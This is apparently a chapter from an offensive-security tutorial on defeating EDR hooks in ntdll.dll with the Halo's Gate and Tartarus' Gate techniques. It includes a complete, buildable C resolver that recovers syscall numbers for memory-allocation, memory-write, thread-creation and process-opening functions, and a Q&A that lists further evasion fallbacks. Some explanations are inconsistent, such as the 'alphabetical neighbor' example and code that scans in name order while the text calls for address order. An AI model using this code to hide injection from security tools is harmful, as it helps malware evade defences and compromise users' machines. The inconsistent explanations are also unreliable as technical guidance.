Halo's Gate
Hell's Gate reads the SSN from ntdll's function stub — but it fails when the EDR has hooked that stub with an inline JMP (replacing the mov eax, SSN bytes). The first bytes are now a JMP opcode, not the expected B8. Halo's Gate (by Sektor7 Institute) extends Hell's Gate to handle this case: if the target function is hooked, it scans the adjacent functions in the EAT (Export Address Table). Windows assigns SSNs in sequential order to the Nt* functions as they appear in the EAT sorted by address. If NtAllocateVirtualMemory is hooked, then NtAlertResumeThread (its alphabetical neighbor in the EAT) might be unhooked — and its SSN is exactly one less or one more. By finding the delta, you infer the target's SSN without reading it directly.
The Adjacent SSN Inference Principle
Windows assigns SSNs to Nt* functions sorted by address in ntdll:
─────────────────────────────────────────────────────────────────────────
(Not alphabetically — by RVA order in the PE, which is compilation order)
Example (simplified, Windows 10):
RVA order Function SSN
─────────────────────────────────────────────────
0x001000 NtAcceptConnectPort 0x0000
0x001020 NtAccessCheck 0x0001
0x001040 NtAccessCheckAndAuditAlarm 0x0002
...
0x010000 NtAllocateVirtualMemory 0x0018
0x010020 NtAllocateVirtualMemoryEx 0x0019
0x010040 NtAlpcAcceptConnectPort 0x001A
...
0x040000 NtCreateThreadEx 0x00C7
Key insight: SSNs are consecutive by RVA position.
If NtCreateThreadEx (SSN=0x00C7) is hooked, then:
• The function just before it in RVA order has SSN 0x00C6
• The function just after it has SSN 0x00C8
Halo's Gate algorithm:
─────────────────────────────────────────────────────────────────────────
1. Find target function in EAT (by name), get its RVA
2. Try to read SSN from target stub → FAIL (hooked)
3. Walk the EAT functions sorted by RVA:
For each neighbor (n-1, n-2, n+1, n+2, ...):
Try to read SSN from neighbor stub
If CLEAN: return neighbor_SSN ± delta
4. The delta = number of positions away from the targetImplementation
/* halos_gate.c — Extended SSN resolution when target function is hooked
When Hell's Gate fails (hooked stub), scans neighboring ntdll exports
and infers the target SSN from sequential SSN assignment.
Build:
x86_64-w64-mingw32-gcc -O2 -o halos_gate.exe halos_gate.c
*/
#include <windows.h>
#include <stdio.h>
/* ── Read SSN from an unhooked stub ──────────────────────────────────── */
/* Returns 0xFFFFFFFF if the stub is hooked (doesn't match expected pattern) */
static DWORD read_ssn_from_stub(PVOID stub_addr) {
PBYTE b = (PBYTE)stub_addr;
/*
* Unhooked pattern: 4C 8B D1 B8 ?? ?? ?? ?? 0F 05 C3
* mov r10,rcx mov eax,SSN syscall ret
*/
if (b[0] == 0x4C && b[1] == 0x8B && b[2] == 0xD1 && b[3] == 0xB8) {
return *(DWORD *)(b + 4); /* the SSN immediate */
}
return 0xFFFFFFFF; /* hooked or unexpected pattern */
}
/* ── Halo's Gate: infer SSN from neighbors ───────────────────────────── */
static DWORD halos_gate_resolve(const char *target_func) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PBYTE base = (PBYTE)hNtdll;
/* Parse EAT */
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS64)(base + dos->e_lfanew);
DWORD eat_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY eat = (PIMAGE_EXPORT_DIRECTORY)(base + eat_rva);
PDWORD names = (PDWORD)(base + eat->AddressOfNames);
PWORD ords = (PWORD) (base + eat->AddressOfNameOrdinals);
PDWORD funcs = (PDWORD)(base + eat->AddressOfFunctions);
/* Step 1: Find target function's index in the name table */
DWORD target_idx = 0xFFFFFFFF;
for (DWORD i = 0; i < eat->NumberOfNames; i++) {
const char *name = (const char *)(base + names[i]);
if (strcmp(name, target_func) == 0) {
target_idx = i;
break;
}
}
if (target_idx == 0xFFFFFFFF) {
printf("[-] %s not found in EAT\n", target_func);
return 0xFFFFFFFF;
}
/* Step 2: Try to read SSN directly from the target */
PVOID target_stub = base + funcs[ords[target_idx]];
DWORD direct_ssn = read_ssn_from_stub(target_stub);
if (direct_ssn != 0xFFFFFFFF) {
printf("[+] %s: SSN=0x%04lX (direct read)\n", target_func, direct_ssn);
return direct_ssn;
}
printf("[*] %s is hooked — using Halo's Gate neighbor inference\n", target_func);
/*
* Step 3: Scan neighbors by index in the EAT name table.
* The name table is sorted alphabetically, which is NOT the same as
* RVA order. However, for Nt* functions, the alphabetical ordering is
* close to the RVA ordering because Microsoft compiles them in a
* somewhat alphabetical layout.
*
* A more accurate approach: sort all Nt* functions by their RVA value,
* then find the target's position in the sorted list.
* For simplicity, we use the name table index with a +/-10 scan window.
*/
for (int delta = 1; delta <= 10; delta++) {
/* Check function ABOVE (lower index, lower SSN) */
if ((int)target_idx - delta >= 0) {
PVOID neighbor_stub = base + funcs[ords[target_idx - delta]];
DWORD neighbor_ssn = read_ssn_from_stub(neighbor_stub);
if (neighbor_ssn != 0xFFFFFFFF) {
DWORD inferred = neighbor_ssn + delta;
const char *neighbor_name = (const char *)(base + names[target_idx - delta]);
printf("[+] Neighbor at -%d (%s): SSN=0x%04lX → target SSN=0x%04lX\n",
delta, neighbor_name, neighbor_ssn, inferred);
return inferred;
}
}
/* Check function BELOW (higher index, higher SSN) */
if (target_idx + delta < eat->NumberOfNames) {
PVOID neighbor_stub = base + funcs[ords[target_idx + delta]];
DWORD neighbor_ssn = read_ssn_from_stub(neighbor_stub);
if (neighbor_ssn != 0xFFFFFFFF) {
DWORD inferred = neighbor_ssn - delta;
const char *neighbor_name = (const char *)(base + names[target_idx + delta]);
printf("[+] Neighbor at +%d (%s): SSN=0x%04lX → target SSN=0x%04lX\n",
delta, neighbor_name, neighbor_ssn, inferred);
return inferred;
}
}
}
printf("[-] Could not infer SSN for %s — too many neighbors are also hooked\n",
target_func);
return 0xFFFFFFFF;
}
int main(void) {
printf("=== Halo's Gate SSN Resolver ===\n\n");
const char *functions[] = {
"NtAllocateVirtualMemory",
"NtWriteVirtualMemory",
"NtCreateThreadEx",
"NtOpenProcess",
NULL
};
for (int i = 0; functions[i]; i++) {
DWORD ssn = halos_gate_resolve(functions[i]);
if (ssn == 0xFFFFFFFF) {
printf("[!] Failed to resolve %s\n\n", functions[i]);
} else {
printf(" → Use SSN 0x%04lX for direct syscall stub\n\n", ssn);
}
}
return 0;
}
Tartarus' Gate — When Neighbors Are Also Hooked
Tartarus' Gate (by trickster0) extends Halo's Gate for the worst case:
when BOTH the target and all nearby neighbors are hooked.
Extended pattern matching:
─────────────────────────────────────────────────────────────────────────
Instead of checking only for the unhooked stub pattern (4C 8B D1 B8 ...),
Tartarus' Gate also handles:
Pattern 1 (unhooked, standard):
4C 8B D1 mov r10, rcx
B8 ?? 00 00 00 mov eax, SSN ← read SSN here
0F 05 syscall
Pattern 2 (pre-Windows 8 style, still seen on some builds):
B8 ?? 00 00 00 mov eax, SSN ← SSN at +1
BA 00 00 00 00 mov edx, 0
FF D2 call edx
Pattern 3 (hooked — E9 JMP): skip, try neighbor
Pattern 4 (hooked — FF 25 JMP): skip, try neighbor
For Pattern 2: read SSN from bytes[1] instead of bytes[4]
Additionally, Tartarus' Gate sorts all EAT entries by RVA before
scanning neighbors — this gives accurate sequential SSN ordering
rather than relying on alphabetical proximity.
When ALL functions in the process are hooked:
Last resort: read ntdll.dll from disk (\KnownDlls or filesystem path)
Parse the disk copy to find SSNs (the disk version is always unhooked).
This combines Halo's Gate fallback with the disk-reading approach from Ch39.
Questions & Answers
Why are Windows syscall numbers sequential by RVA position rather than alphabetical?
The Windows kernel assigns SSNs during ntdll.dll compilation. The assignment is based on the order functions appear in the compiled PE's code section (their RVA position in the binary), which reflects the order they were compiled — roughly the order the source files were processed by the compiler. Microsoft's internal naming conventions and project structure tend to group related Nt* functions near each other in source, which creates clusters in both RVA and alphabetical ordering. The key insight is that they're sequential in RVA position: function at RVA 0x1000 gets SSN N, function at RVA 0x1020 gets SSN N+1, and so on. This is why "adjacent in RVA space" is the correct metric, not "adjacent alphabetically." Sorting EAT entries by their function RVA values gives the correct SSN ordering for Halo's/Tartarus' Gate inference.
What if an EDR hooks all Nt* functions — making even the neighbors hooked?
If an EDR hooks all Nt* functions (some aggressive EDRs do hook most of the critical ones), Halo's Gate will fail to find any unhooked neighbor. The fallback options in order of preference: (1) Read from disk — open ntdll.dll from \KnownDlls\ntdll.dll or the system directory and parse the SSN from the clean file on disk. The disk file is always unhooked. (2) Read from a suspended process (Ch40's technique applied to SSN extraction rather than code replacement). (3) Use SysWhispers3 (Ch44) which embeds pre-resolved SSNs at build time using a lookup table with EGG-hunter style detection at runtime. (4) Use a kernel driver (Part 15) that bypasses user-mode entirely. In practice, most EDRs don't hook every Nt* function — they focus on the subset that's injection-relevant. Halo's Gate usually finds unhooked neighbors within 3-4 positions.